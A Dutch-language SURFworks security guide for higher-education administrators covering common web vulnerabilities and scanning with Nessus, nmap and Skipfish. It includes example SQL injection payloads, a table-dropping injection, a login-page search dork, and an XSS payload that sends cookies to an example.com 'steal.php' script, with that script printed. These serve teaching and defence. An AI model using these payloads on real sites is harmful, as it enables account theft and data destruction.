Voor deze publicatie geldt de Creative Commons Licentie “Attribution 3.0 Unported”.

Meer informatie over deze licentie is te vinden op http://creativecommons.org/licenses/by/3.0/

indi-2010-10-011

Webapplicaties veilig aanbieden Project : SURFworks Projectjaar : 2010 Projectmanager : Rogier Spoor Auteur(s) : Jeffeny Hoogervorst, Sebastiaan Tesink, Jan Michielsen Opleverdatum : 30-9-2010 Versie : 1.0

Samenvatting Dit document laat zien welke kwetsbaarheden voor kunnen komen in webapplicaties en wat beheerders kunnen doen om deze kwetsbaarheden op te sporen en te verhelpen. Er wordt uitgelegd welke typen kwetsbaarheden het meest voorkomen in webapplicaties. Het document is bedoeld voor systeem- en applicatiebeheerders van instellingen voor hoger onderwijs en onderzoek.

Colofon Programmalijn : Technologieverkenning Onderdeel : Beveiligingsactiviteiten Activiteit : 4.3 Deliverable : Webapplicaties veilig aanbieden Toegangsrechten : publiek Externe partij : Universiteit van Tilburg Dit project is tot stand gekomen met steun van SURF, de organisatie die ICT vernieuwingen in het hoger onderwijs en onderzoek initieert, regisseert en stimuleert door onder meer het financieren van projecten. Meer informatie over SURF is te vinden op de website (www.surf.nl).

Webapplicaties veilig aanbieden

3

I NH OUD

1 Inleiding .............................................................................. 4

1.1 Waarom dit document? ..................................................... 4

1.2 Voor wie? ....................................................................... 4

1.3 Wat vindt u in dit document? ............................................. 4

2 Kwetsbaarheden .................................................................... 5

2.1 Hoe ontstaan kwetsbaarheden? .......................................... 5

2.2 Top 10 kwetsbaarheden .................................................... 5

2.3 Patches ......................................................................... 9

3 Basisbescherming ................................................................. 11

3.1 Inleiding ....................................................................... 11

3.2 Vulnerability scanners ..................................................... 11

3.3 Nessus ......................................................................... 12

4 Uitgebreider scannen ............................................................ 14

4.1 Inleiding ....................................................................... 14

4.2 Poortscanners ................................................................ 14

4.3 Webapplication scanners ................................................. 19

4.4 Databasescan ................................................................ 22

4.5 Fuzzing ......................................................................... 22

5 Verdieping .......................................................................... 24

5.1 Verdere verdieping ......................................................... 24

5.2 Disclosure ..................................................................... 24

Webapplicaties veilig aanbieden

4

1 I NL EI DI NG

1.1 Waarom dit document?

De belangrijkste taak van een systeem- of applicatiebeheerder is ervoor te zorgen dat webapplicaties snel operationeel worden gemaakt en vervolgens goed functioneren. Er is echter meer: ook de beveiliging van de software heeft continu de aandacht nodig van de applicatiebeheerder. Kwaadwillenden zijn namelijk steeds op zoek naar kwetsbaarheden in de software, om misbruik te maken van de applicatie of het netwerk.

In dit document leest u welke kwetsbaarheden voor kunnen komen en vooral wat u zelf kunt doen om uw webapplicaties en services te scannen op kwetsbaarheden. Zo beperkt u mogelijk misbruik tot een minimum.

U kunt zelf bepalen hoeveel energie u in de beveiliging van webapplicaties steekt. Hoe meer hoe beter natuurlijk, maar dat kan niet altijd. Daarom worden in dit document drie niveaus onderscheiden waarop u met beveiliging aan de slag kunt. Zie daarvoor paragraaf 1.3.

1.2 Voor wie?

Dit document is bedoeld voor systeem- en applicatiebeheerders van instellingen voor hoger onderwijs en onderzoek.

1.3 Wat vindt u in dit document?

Dit document laat zien welke kwetsbaarheden voor kunnen komen, en wat u als beheerder kunt doen om deze kwetsbaarheden op te sporen en te verhelpen. In hoofdstuk 2wordt uitgelegd welke typen kwetsbaarheden het meest voorkomen in webapplicaties.

In de volgende hoofdstukken komt aan de orde wat u zelf kunt doen. We onderscheiden hierbij drie niveaus:

• Hoofdstuk 3 beschrijft een aanpak om u van een basisniveau van bescherming te voorzien, met name door de inzet van de vulnerability scanner Nessus. U spoort zo algemeen bekende kwetsbaarheden op.

• Hoofdstuk 4 biedt tools om uitgebreider te scannen naar kwetsbaarheden door middel van poortscanners, webapplication scanners en database scanners. U spoort zo ook meer product- en serverspecifieke kwetsbaarheden op. Ook fuzzing komt aan de orde, een techniek om nieuwe kwetsbaarheden te ontdekken.

• Hoofdstuk 5 geeft een verdere verdieping, waarbij de nadruk ligt op het nog beter leren kennen van de verschillende typen kwetsbaarheden en op de vorm van publicatie na het vinden van een nieuwe kwetsbaarheid.

Webapplicaties veilig aanbieden

5

2 KW ETSBAA RHEDEN

2.1 Hoe ontstaan kwetsbaarheden?

Fouten in software waarbij sprake is van een beveiligingsprobleem, resulteren in een kwetsbaarheid. Kwetsbaarheden in software kunnen gezien worden als:

• afwezigheid van beveiliging;

• een zwakte in een systeem; of

• de afwezigheid van risicoverminderende maatregelen.

Het systeem bevat een fout en is dan vatbaar voor aanvallen, waardoor kwaadwillenden toegang kunnen krijgen tot de software en eventueel de gegevens in de software, door misbruik te maken van deze fout.

Er zijn veel verschillende redenen waarom software kwetsbaar kan zijn:

• De code is vaak zo complex geschreven dat de programmeur een fout maakt of over het hoofd ziet en zich uiteindelijk alleen richt op het functioneren van de software.

• De gebruikersinvoer wordt in de praktijk ook nog steeds niet consequent gecontroleerd (input validation), wat kan resulteren in bijvoorbeeld buffer overflows, cross-site scripting (XSS) of SQL-injectie. Dit is niet alleen het geval bij zelfgeschreven, maar ook bij aangeschafte software.

• Kwetsbaarheden in het besturingssysteem kunnen leiden tot indirecte kwetsbaarheid van een applicatie.

Lijsten als Bugtraq1

2.2 Top 10 kwetsbaarheden

bevatten veel informatie over kwetsbaarheden.

Verschillende instanties maken overzichten van de belangrijkste kwetsbaarheden in webapplicaties. Voorbeelden zijn de SANS top 202 of het OWASP Top Ten Project3

. SANS is een van de grootste bronnen voor informatiebeveiliging en verzorgt wereldwijd opleidingen en veiligheidscertificeringen. Het Open Web Application Security Project (OWASP) is een niet-commerciële, wereldwijde organisatie gericht op het verbeteren van de beveiliging van applicatiesoftware.

1http://www.securityfocus.com/archive 2http://www.sans.org/top-cyber-security-risks/?ref=top20 3http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Webapplicaties veilig aanbieden

6

De top 10 kwetsbaarheden voor 2010 van OWASP wordt hieronder weergegeven:

1. Injection

2. Cross-Site Scripting (XSS)

3. Broken Authentication and Session Management

4. Insecure Direct Object References

5. Cross-Site Request Forgery (CSRF)

6. Security Misconfiguration

7. Insecure Cryptographic Storage

8. Failure to Restrict URL Access

9. Insufficient Transport Layer Protection

10. Unvalidated Redirects and Forwards

De eerste drie kwetsbaarheden in dit overzicht komen het meeste voor. Deze worden daarom hieronder uitgebreider behandeld. Op de website van het OWASP Top Ten Project4

2.2.1 Injection

vindt u een uitleg van de overige, niet beschreven risks. Met name injection en cross-site scripting komen zeer regelmatig voor op mailinglijsten als Bugtraq.

De bekendste vorm van injection is SQL-injectie. Bij SQL-injectie worden achterliggende databases getroffen. Meestal, maar niet altijd, gaat het over Oracle, MSSQL, MySQL of PostgreSQL.

Bij SQL-injectie wordt misbruik gemaakt van een kwetsbaarheid waarbij op SQL-niveau code geïnjecteerd wordt. SQL-injectie kan bijvoorbeeld toegepast worden bij een gebruikersnaam- en/of wachtwoord-veld in een formulierpagina. Vaak zit de kwetsbaarheid in de webapplicatie en niet in de database zelf.

Bij zo'n formulierpagina wordt een invoer verwacht in de lijn van username "admin", password "iets". Bij SQL-Injectie wordt bijvoorbeeld de waarde " or '1'='1" aan het password toegevoegd zodat de applicatie ontvangt: username "admin" en password "iets' or '1'='1". In het voorbeeld hieronder wordt weergegeven wat op SQL-niveau in de database wordt uitgevoerd.

SELECT uid FROM users WHERE username = 'admin' and password = 'iets' or '1' = '1';

4http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Webapplicaties veilig aanbieden

7

Het ingegeven password "iets" is in dit geval niet goed, maar door de extra conditie " or '1'='1", zal de database-server het verzoek toch als valide beschouwen voor user "admin".

SQL-injectie wordt ook gebruikt voor vandalisme. In onderstaand voorbeeld wordt het gebruikt voor het weggooien van een tabel.

SELECT uid FROM users WHERE username = 'admin' and password = 'iets'; DROP table users; --'; Potentieel kwetsbare websites worden continu gevonden via zoekmachines. Met behulp van zoekstrings als hieronder weergegeven kunnen geïndexeerde login-pagina's gevonden worden. De kwaadwillende probeert vervolgens potentiële kwetsbaarheden uit, hetgeen vaak in logbestanden van de webserver is terug te vinden.

intitle:"login|logon|admin|administrator|username|gebruikersnaam" Om uit te zoeken welke login-pagina's van de eigen instelling door Google geïndexeerd zijn, kan een extra operator "site:" meegegeven worden.

site:mijninstelling.nl5

2.2.2 Cross-Site Scripting (XSS)

intitle:"login|logon|admin|administrator|username|gebruikersnaam"

Cross-site scripting (XSS) komt meestal voor in webapplicaties en wordt gekenmerkt door het omzeilen van het "zelfdebronprincipe". Dit principe houdt in dat een script van de ene bron niet de gegevens van een andere bron kan raadplegen. In de browser van de bezoeker van een website worden bijvoorbeeld cookies opgeslagen van server X; deze specifieke cookies kunnen dan alleen door scripts vanaf server X gelezen worden. Kwaadwillenden zouden deze cookies immers kunnen misbruiken door bijvoorbeeld login-informatie te stelen.

Bij een cross-site scripting aanval probeert de kwaadwillende door middel van scripting, uitgevoerd in de browser van de bezoeker maar door middel van server X, gegevens (bijvoorbeeld cookies) van server X te bemachtigen.

Cross-site scripting is meer dan een onschuldig stukje (Java)script; het vormt een bedreiging voor gevoelige informatie van de gebruiker en voor de veiligheid van de rest van het informatiesysteem. Ondanks dat cross-site scripting, evenals SQL-injectie, al erg oud is, wordt hiermee ook vaak in (nieuwe) webapplicaties geen rekening gehouden.

5Vervang mijninstelling.nl door de domeinnaam van de eigen instelling

Webapplicaties veilig aanbieden

8

Voorbeeld 1

Hieronder is een eenvoudig voorbeeld van cross-site scripting weergegeven:

http://www.mijninstelling.nl/menu.php?user=<script>alert('TEST')</script> Als resultaat verschijnt een (Java)script alert box met de tekst "TEST" in de browser van de bezoeker. De pop-up in dit voorbeeld is onschuldig, maar in plaats van een alert box kan ook een bestand vanaf een andere server opgehaald worden.

Voorbeeld 2

Het volgende voorbeeld geeft weer hoe een pagina vanaf een andere locatie kan worden ingevoegd. Dit heet Remote File Inclusion (RFI) en is vooral in PHP-omgevingen populair.

http://www.mijninstelling.nl/menu.php?user=<script>document.location="http://www.example.com/steal.php?cookie=" + document.cookie</script> De inhoud van het genoemde steal.php-script is hieronder weergegeven.

<?php $cookie = $HTTP_GET_VARS["cookie"]; mail("evil@example.com", "Cookie stealer report", $cookie); ?> Het resultaat is dat de cookies van mijninstelling.nl, opgeslagen in de browser van de bezoeker, vervolgens per e-mail verstuurd worden naar passwords@kwaadwillende.nl.

In september 2010 kwam Twitter in het nieuws als gevolg van een XSS-issue waardoor in een razend tempo duidenden slachoffers werden gemaakt. Twitter biedt een service aan voor social networking waar in de vorm van korte berichtjes bezoekers kunnen lezen waar bijvoorbeeld iemand mee bezig is. De impact viel volgens Twitter mee. Duidelijk is echter dat dat dit issue enstige vormen had kunnen aannemen. Lees meer over dit issue op http://blog.twitter.com/2010/09/all-about-onmouseover-incident.html.

2.2.3 Broken Authentication and Session Management Van een webapplicatie mag verwacht worden dat de gegevens van eerdere gebruikers beschermd worden en dat na het sluiten van de browser de sessie ook daadwerkelijk beëindigd is. Een cookie met een geldigheid van één uur, zelfs na sluiten van de browser, is bijvoorbeeld een zwakte waar misbruik van gemaakt kan worden. Session cookies, die verdwijnen bij het sluiten van de browser, zijn beter.

Webapplicaties veilig aanbieden

9

Denk aan informatiezuilen waar studenten tentamenuitslagen kunnen raadplegen of snel een mailtje kunnen versturen. De volgende gebruiker krijgt, ook als hij dit niet wil, vaak de browsergeschiedenis van de vorige gebruiker te zien bij het intypen van een internetadres. Als de nieuwe gebruiker de uit de geschiedenis gehaalde pagina van bijvoorbeeld msn.com opvraagt, vindt hij wellicht ook nog eens de usernames van diegene die voor hem ingelogd hebben. Soms is zelfs het password onthouden.

2.3 Patches

Hoewel een kwetsbaarheid vaak niet meer oplevert dan een patch, doorloopt hij een heel proces: in de tijd na de lancering van de software ontdekt iemand de kwetsbaarheid. Deze wordt door de ontdekker (doorgaans) gemeld bij de producent. Die ontwikkelt een patch en maakt deze publiek. Ten slotte installeert de applicatiebeheerder deze patch.

De meeste aanvallen vinden plaats tussen het publiek maken van de patch en de installatie van de patch door de beheerder. Na het publiek maken worden patches heel snel gereverse-engineerd, waardoor de kans op misbruik groter wordt. Bij reverse-engineering wordt de patch gebruikt om een exploit te maken.

Onderstaande grafiek laat dit zien:

Afb. 1 Periode tussen ontdekking van een kwetsbaarheid en het installeren van de patch, afgezet tegen het risico op misbruik (bron: http://www.owasp.org/index.php/Testing_Guide_Introduction)

Het reverse-engineeren van een patch neemt doorgaans slechts enkele uren in beslag. Dit betekent dat de kwetsbaarheid al slechts enkele uren nadat de patch

Webapplicaties veilig aanbieden

10

publiek gemaakt is, misbruikt wordt. Doordat dit zogeheten "window of vulnerability" steeds kleiner wordt, is het van belang om uit beveiligingsoogpunt eigen netwerk en applicaties in kaart te brengen; dat wil zeggen precies te weten welke services en applicaties draaien op het netwerk. Op deze manier kunnen patches zo snel mogelijk geïnstalleerd worden.

Webapplicaties veilig aanbieden

11

3 BA SI SBESCH ERM IN G

3.1 Inleiding

De minimaal benodigde beveiliging van een webapplicatie is niet zwart-wit vast te stellen. Een richtlijn kan zijn: een applicatie moet tenminste bestand zijn tegen een amateurhacker die via Google een hackapplicatie vindt en door middel van bekende kwetsbaarheden misbruik maakt van deze applicatie.

Beter is nog om verder te kijken: de applicatie draait immers op een webserver die weer op een besturingssysteem met andere services draait. Het is dus noodzakelijk om ook de software buiten de applicatie mee te nemen in de scan. Denk bijvoorbeeld aan een kwetsbaarheid in Apache of Microsoft Internet Information Services (IIS). Het is noodzakelijk om maandelijks aandacht hieraan te besteden.

Bij de basisbescherming wordt voornamelijk gekeken naar bestaande kwetsbaarheden, die opgespoord kunnen worden met vulnerability scanners. Het is dan voldoende als de applicatie gepatcht wordt. Op de site van de producent is vaak een patch beschikbaar.

Wees bij het uitvoeren van een scan zorgvuldig en voorzichtig. Het scannen op kwetsbaarheden binnen productie-omgevingen is sterk af te raden. Stel altijd alle betrokken personen op de hoogte. Denk aan systeembeheerders, netwerkbeheerders e.d.

3.2 Vulnerability scanners

Vulnerability scanners worden gebuikt voor het opsporen van kwetsbaarheden in een systeem, met behulp van een database met bekende kwetsbaarheden. De ene keer wordt aan de hand van een versienummer in banners een potentieel kwetsbare applicatie blootgelegd, een andere keer wordt daadwerkelijk gebruik gemaakt van een stuk exploit code (kwaadaardige code). In tegenstelling tot de webapplication scanners richten vulnerability scanners zich ook op security issues van besturingssystemen en van andere services.

Nessus is een van de bekendste vulnerability scanners; deze wordt in paragraaf 3.3 besproken. Kort noemen we hier nog twee andere:

• Microsoft Baseline Security Analyzer (MBSA)6

• Secunia CSI

; dit is in de strikte zin niet echt een vulnerability scanner; het pakket scant naar het ontbreken van patches voor bepaalde Microsoft-producten.

7

6

; dit is een authenticated vulnerability and patch scanner waarmee ontbrekende security patches gevonden kunnen worden.

http://technet.microsoft.com/en-us/security/cc184924.aspx

Webapplicaties veilig aanbieden

12

3.3 Nessus

Eind jaren 90 werd de vulnerabilty scanner Nessus gelanceerd. Dit pakket scant niet alleen webapplicaties, maar ook andere services zoals FTP, SHH enzovoort en is daarom heel goed in te zetten om een basisbescherming te bieden op een systeem.

Vanaf versie 3 wordt Nessus niet meer gelanceerd onder GPL maar onder proprietary (closed source) license.

Nessus versie 4 is beschikbaar voor Windows, Mac OS X, Linux, FreeBSD en Solaris en werkt via de internetbrowser.

Nessus maakt voor bekende kwetsbaarheden een plug-in die via de zogenaamde feed als extra aanvalsgereedschap toegevoegd kan worden. Voor deze feed moet de gebruiker zich aanmelden. Dit is gratis voor thuisgebruikers en kost (op het moment van dit schrijven) ongeveer $1200,- voor corporate users. Onderwijsinstellingen vallen in de laatste categorie en moeten dus een Professional Feed Subscription aanschaffen.

Nessus is werkt zeer snel: het pakket heeft voor een normale scan van één machine ongeveer vijftien minuten nodig. Desgewenst genereert Nessus daarna een HTML-rapport.

Met de "safe checks"-optie kun je de plug-ins uitzetten waarvan bekend is dat ze schadelijk zijn voor het doelsysteem.

Afb. 2 Interface van Nessus

7http://secunia.com/vulnerability_scanning/corporate

Webapplicaties veilig aanbieden

13

Afb. 3 Voorbeeld van een Nessus plug-inbeschrijving

Webapplicaties veilig aanbieden

14

4 UI TGEBREIDER SCANN EN

4.1 Inleiding

Na de basisbescherming is het aan te raden om een dieper naar de beveiliging van de software te kijken door uitgebreider te scannen.

Bij de uitgebreide scan wordt niet alleen naar de algemeen bekende kwetsbaarheden gekeken maar ook naar product- of serverspecifieke, en soms naar nieuwe kwetsbaarheden. Als er nieuwe kwetsbaarheden gevonden worden, is het aan te raden om de Security Officier of het CERT-team van de eigen instelling in te lichten. In geval van een bekende kwetsbaarheid volstaat een patch.

Bij een uitgebreide scan kunnen de volgende onderdelen aan de orde komen:

• poortscan, om te kijken welke services er op de netwerkpoorten worden aangeboden (paragraaf 4.2);

• webapplication scan, om individuele applicaties op kwetsbaarheden te scannen (paragraaf 4.3);

• databasescan, om achterliggende databases te scannen (paragraaf 4.4);

• fuzzing, om nieuwe kwetsbaarheden te ontdekken (paragraaf 4.5).

4.2 Poortscanners

4.2.1 Inleiding Een voorwaarde om een kwetsbaarheid te kunnen misbruiken is dat de kwetsbaarheid voor kwaadwillenden direct dan wel indirect (bijv. een database-server achter een webserver) te bereiken is. Voordat er specifiek naar bepaalde kwetsbaarheden gekeken wordt, wil men meestal weten wat voor services er aangeboden worden binnen de betreffende organisatie.

Tijdens deze verkenningsfase wordt niet alleen in kaart gebracht welke servers binnen het netwerk aanwezig zijn, maar ook welke services deze voor de gebruiker draait, en in sommige gevallen ook de versienummers van de services. Dit kan door het uitvoeren van een poortscan, waarbij op bijv. een server gekeken wordt welke van de 65.535 TCP-poorten er open staan, en waar dus wellicht een kwetsbare applicatie achter draait. Belangrijke poorten zijn onder andere de poorten 21 (FTP), 22 (SSH), 23 (telnet), 80 (HTTP), 443 (HTTPS), 1433 (MSSQL- server), 1521 (Oracle listener), 3389 (MS Terminal services), 5900 (VNC) en 6667 (IRC-servers en enkele trojans).

Het is aan te raden maandelijks een poortscan uit te voeren, zodat nieuwe services geïdentificeerd kunnen worden.

Webapplicaties veilig aanbieden

15

4.2.2 Principe van de poortscan Het opzetten van een TCP8

-netwerkverbinding tussen een client en server verloopt via een 'three-way handshake'. Tijdens het handenschudden vraagt de client aan de server op een specifieke poort of deze beschikbaar is, door middel van een pakketje met daarin een SYN-vlag en een nummer (initial sequence number (ISN)). Hierop reageert de server door te antwoorden met een pakketje met een SYN-vlag en een ACK-vlag erin en het ISN opgehoogd met 1. De client stuurt vervolgens een bevestiging door een pakket te sturen met de ACK-vlag en het ISN wedeom opgehoogd met 1. Op dit moment is er een verbinding tot stand gekomen en kan data uitgewisseld worden. Dit is weergegeven in het onderstaande schema.

Afb. 4 Overzicht van de TCP-verbinding tussen client en server

Er zijn zes TCP-vlaggen om het verkeer tussen de client en de server in goede banen te leiden. Deze vlaggen kunnen ook bij een poortscan gebruikt worden:

• SYN: wordt gebruikt voor het opzetten van een TCP-verbinding.

• FIN: geeft aan dat de verbinding wordt beëindigd.

• RST: staat voor ReSeT; de ontvanger van het pakket wil de verbinding beëindigen.

• PSH: de PuSH-vlag geeft aan dat gegevens onmiddellijk verstuurd moeten worden, zonder dat deze gebufferd worden. De ontvangende partij moet de gegevens onmiddellijk doorgeven aan de applicatie, ook zonder buffers.

• ACK: bevestigt de ontvangst van een pakket.

• URG: vraagt om de pakketten met spoed te behandelen.

Het resultaat van een poortscan kan per poort drie groepen van waarden aannemen:

• Open of Accepted: de server antwoordde dat er een service luistert op de poort.

• Closed, Denied of Not listening: de server stuurde een antwoord waarin aangegeven wordt dat de verbindingen naar de poort worden geweigerd.

• Filtered, Dropped of Blocked: geen antwoord van de server.

8http://tools.ietf.org/html/rfc793

Webapplicaties veilig aanbieden

16

4.2.3 Tools Er zijn verschillende tools voor het uitvoeren van poortscans. De bekendste en meest gebruikte is nmap9

Er is ook een versie voor Windows, inclusief de grafische Zenmap GUI. Andere bekende scanners zijn unicorn en angryip. Ook Nessus beschikt over de mogelijkheid tot het uitvoeren van een poortscan

, geschreven voor Phrack magazine in 1997. Nmap was oorspronkelijk een command line tool; inmiddels zijn er ook enkele grafische versies verkrijgbaar, zoals Xnmap, Knmap en NmapFE.

Aangezien nmap de de facto standaard is, en deze bovendien vrij beschikbaar10

4.2.4 Scantypes

gedistribueerd wordt, gebruiken we deze scanner in de voorbeelden.

Er zijn verschillende methoden om te controleren of er op een bepaalde poort een service draait.

TCP connect()

Connect is de meest gebruikte vorm van TCP-poortscanning. Er hoeven geen verhoogde privileges gebruikt te worden; elke gebruiker van een machine mag een connect() doen naar een systeem. Deze scan is bovendien erg snel doordat er veel simultane verbindingen opgezet kunnen worden. Als een poort open is, wordt een volledige three-way handshake uitgevoerd.

$ nmap -sT server.mijninstelling.nl

TCP SYN of "half-open scanning"

Deze methode genereert, in tegenstelling tot de TCP Connect(), zelf IP-pakketten, waarbij de SYN-vlag aan staat. Om dat te doen zijn soms verhoogde privileges nodig (afhankelijk van de client). Deze pakketten worden verstuurd naar diverse poorten op de server, en er wordt gekeken welke van deze poorten reageert met het terugsturen van SYN-ACK-pakketten. De handshake wordt echter niet afgemaakt, aangezien de scanner na het ontvangen van deze SYN-ACK een RST-pakket stuurt en daarmee de verbinding verbreekt.

$ nmap -sS server.mijninstelling.nl

TCP ACK scan

Bij een ACK-scan wordt een TCP-pakketje gebouwd met een ACK-vlag aan. Dit betekent echter dat er niet geprobeerd wordt een verbinding op te zetten, waardoor deze scan geen zekerheid geeft dat er een service achter de poort draait. Veel servers reageren met een RST als er iets op de gescande poort draait. Het voordeel van deze scan is echter dat hij vrijwel onzichtbaar is in de

9http://nmap.org/ 10 GNU GPL http://www.gnu.org/licenses/gpl.html

Webapplicaties veilig aanbieden

17

rest van het verkeer. Deze methode is vooral handig voor het verzamelen van informatie van poorten achter een firewall.

$ nmap -sA server.mijninstelling.nl

Stealth FIN

In sommige bedrijfsomgevingen worden pakketten met SYN-vlaggen nauwlettend in de gaten gehouden en geblokkeerd door firewalls. Als de poortscan niet al te opvallend uitgevoerd moet worden, of om toch meer informatie te krijgen, kan het nuttig zijn om een FIN-scan uit te voeren. Bij een FIN-scan worden FIN-pakketten gestuurd, die bij gesloten poorten worden beantwoord met RST-pakketten door de server. Als er echter een service achter de poort draait, zullen de pakketten helemaal niet worden beantwoord. Pakketten met de FIN-vlag worden soms doorgelaten door de firewall, waardoor relatief diep gescand kan worden.

$ nmap -sF server.mijninstelling.nl

Xmas tree

Bij dit type scan worden de URG-, PSH- en FIN-vlaggen gezet. De reactie van de server is vergelijkbaar aan die van een FIN-scan; bij een gesloten poort ontvangt de client het antwoord met een RST-vlag, bij een open poort ontvangt de client geen antwoord.

$ nmap -sX server.mijninstelling.nl

Null scan

Bij een null scan staan alle TCP-vlaggen uit. Ook hiervoor geldt dat bij een gesloten poort waar geen service achter draait, de server een RST-pakket als antwoord geeft. Een open poort geeft geen antwoord bij deze scan.

$ nmap -sN server.mijninstelling.nl

UDP-scan

In een webomgeving is UDP minder belangrijk aangezien webapplicaties gebruik maken van de combinatie TCP (op laag 4) en IP (op laag 3). Een UDP- scan kan echter interessant zijn om de omgeving waarin de webapplicatie draait, verder in kaart te brengen. Niet alleen legitieme services maken geregeld gebruik van dit protocol, maar ook diverse soorten spyware maken er gebruik van.

UDP is, in tegenstelling tot TCP, een connectionless protocol. Daarom vindt bij UDP geen three-way handshake plaats: pakketten worden zonder vooraankondiging verstuurd, er wordt niet gekeken of ze succesvol worden ontvangen. Hierdoor wordt een poortscan naar services op UDP-poorten echter veel eenvoudiger. Een gesloten poort reageert netjes met "port unreachable" en bij het uitblijven van een reactie kan worden aangenomen dat er een service draait op de betreffende poort.

$ nmap -sU server.mijninstelling.nl

Webapplicaties veilig aanbieden

18

Scanopties

Deze typen scans kunnen, wanneer ze gecombineerd worden met een aantal opties, een grote hoeveelheid informatie opleveren. Enkele voorbeelden van opties:

Optie Verklaring

-O OS detection (fingerprinting)

-sV Version detection

-f Fragmentation

-F Fast scan

-T(n) Timing. De timing van het versturen van de pakketten kan handmatig aangepast worden met -T0 (paranoid) tot en met -T5 (insane). Wees erg voorzichtig met deze laatste optie, aangezien je daarmee zeer effectief een DoS uit kunt voeren bij de betreffende server.

-p(n) Port ranges. Als je bijvoorbeeld op zoek bent naar kwetsbaarheden van webapplicaties binnen je instelling, zul je waarschijnlijk slechts poorten 80 en 443 willen scannen. Dat kan door -p80 -p443 mee te geven, of als je geïnteresseerd bent in alle services op een bepaalde server, kun je -p1-65535 gebruiken.

Hieronder zijn twee voorbeelden weergegeven van nmap-scans waarbij gepoogd wordt de versie van het besturingssysteem en services in kaart te brengen.

Voorbeeld output OS fingerprinting met nmap

$ sudo nmap -p80 -O server.mijninstelling.nl Starting Nmap 5.00 ( http://nmap.org ) at 2010-08-20 15:51 CEST Interesting ports on server.mijninstelling.nl (www.xxx.yyy.zzz): PORT STATE SERVICE 80/tcp open http Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.18 - 2.6.27, Linux 2.6.26 OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds

Voorbeeld output version detection met nmap

$ nmap -p1-100 -O -sV server.mijninstelling.nl Starting Nmap 4.62 ( http://nmap.org ) at 2010-08-20 15:49 CEST Interesting ports on server.mijninstelling.nl (www.xxx.yyy.zzz): Not shown: 96 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.7 22/tcp open ssh (protocol 2.0) 25/tcp open smtp Postfix smtpd

Webapplicaties veilig aanbieden

19

80/tcp open http Apache httpd 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port22-TCP:V=4.62%I=7%D=8/20%Time=4C6E8803%P=x86_64-unknown-linux-gnu%r SF:(NULL,20,"SSH-2\.0-OpenSSH_5\.1p1\x20Debian-5\r\n"); MAC Address: 00:1E:0B:61:C4:96 (Hewlett Packard) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.13 - 2.6.24 Uptime: 134.303 days (since Thu Apr 8 08:34:02 2010) Network Distance: 1 hop Service Info: Host: server.mijninstelling.nl; OS: Unix OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.736 seconds

4.3 Webapplication scanners

Webapplication scanners werken vaak met een database van bekende kwetsbaarheden en controleren of de applicatie kwetsbaar is door een aanval met een exploit (kwaadaardige software) te simuleren of daadwerkelijk uit te voeren.

Skipfish is een relatief nieuwe webapplication scanner, die veel gebruikt word. Deze tool wordt beschreven in paragraaf 4.3.1. Andere webapplication scanners worden genoemd in paragraaf 4.3.2 en daarnaast zijn er nog browser plug-ins waarmee applicaties gescand kunnen worden (paragraaf 4.3.3).

Het is aan te raden na elke update de webapplicaties opnieuw te scannen.

4.3.1 Skipfish Skipfish is een command line webapplication security tool van Google, onder de Apache License 2.0. Deze tool kan gedraaid worden onder Linux, FreeBSD, MacOS X, and Windows (Cygwin) environments.

Skipfish probeert op brute force-achtige wijze internetpagina's te ontdekken en kijkt of er potentiële kwetsbaarheden in zitten. Er is een mogelijkheid om een username en password mee te geven. De resultaten kunnen niet zomaar overgenomen worden, ze zullen altijd geverifieerd moeten worden.

Een groot nadeel van Skipfish is de onvoorspelbare duur van de scan. Ook is het niet aan te raden direct een productiesysteem te scannen omdat de belasting van het te scannen systeem sterk toeneemt tijdens de scan.

Webapplicaties veilig aanbieden

20

Voor diegenen die minder thuis in Linux zijn, is hieronder een installatie van Skipfish 1.55b op Ubuntu 10.0411

$ sudo apt-get update && sudo apt-get dist-upgrade

weergegeven.

$ sudo apt-get install libssl-dev libidn11-dev $ wget http://skipfish.googlecode.com/files/skipfish-1.55b.tgz $ tar xfzv skipfish-1.55b.tgz $ cd skipfish-1.55b/ $ make $ cp dictionaries/default.wl skipfish.wl $ ./skipfish -o /tmp/skipfish_output http://mijninstelling.nl

Afb. 5 Skipfish-1.55b applicatie

11 Zowel 32-bits als 64-bits

Webapplicaties veilig aanbieden

21

Afb. 6 Skipfish-1.55b resultaat

4.3.2 Andere webapplication scanners Webapplication scanners zijn er in alle maten, prijzen en soorten. In een paper van Larry Suto, ‘Analyzing the Accuracy and Time Costs of Web Application Security Scanners’12 van februari 2010 wordt een aantal scanners getest op het aantal gevonden kwetsbaarheden, op het aantal false positives binnen de gevonden kwetsbaarheden en op de tijd die de gebruiker nog nodig heeft om de scanresultaten bruikbaar te maken. Hieruit komt NTOSpider13, gevolgd door AppScan 14 als beste naar voren, maar deze pakketten zijn vrij prijzig. Burp Suite Professional15

12

is met een paar honderd euro een goed alternatief. Bijlage 1 bevat een overzicht met scan tools.

http://ha.ckers.org/files/Accuracy_and_Time_Costs_of_Web_App_Scanners.pdf 13http://www.ntobjectives.com/products/ntospider.php 14http://www-01.ibm.com/software/awdtools/appscan/ 15http://portswigger.net/suite/pro.html

Webapplicaties veilig aanbieden

22

4.3.3 Browser plug-ins voor Firefox De volgende add-ons voor Firefox zijn goed bruikbaar om een webapplicatie zijn twee tools handig:

• Web Developer16

• Tamper Data

bestaat uit diverse web developer tools bedoeld om de webontwikkelaar te helpen. Het is mogelijk om bijvoorbeeld cookies toe te voegen of informatie over forms in pagina's te bekijken.

17

kan gebruikt worden om HTTP/HTTPS-headers en POST-parameters te bekijken en/of aan te passen.

Afb. 7 Screenshot TamperData

4.4 Databasescan

Om dieper op databaseniveau een vulnerability scan uit te voeren, kan men gebruikmaken van een van de NGSSQuirreL18

4.5 Fuzzing

-versies. Databases zijn complex en onbedoelde privileges worden snel over het hoofd gezien.

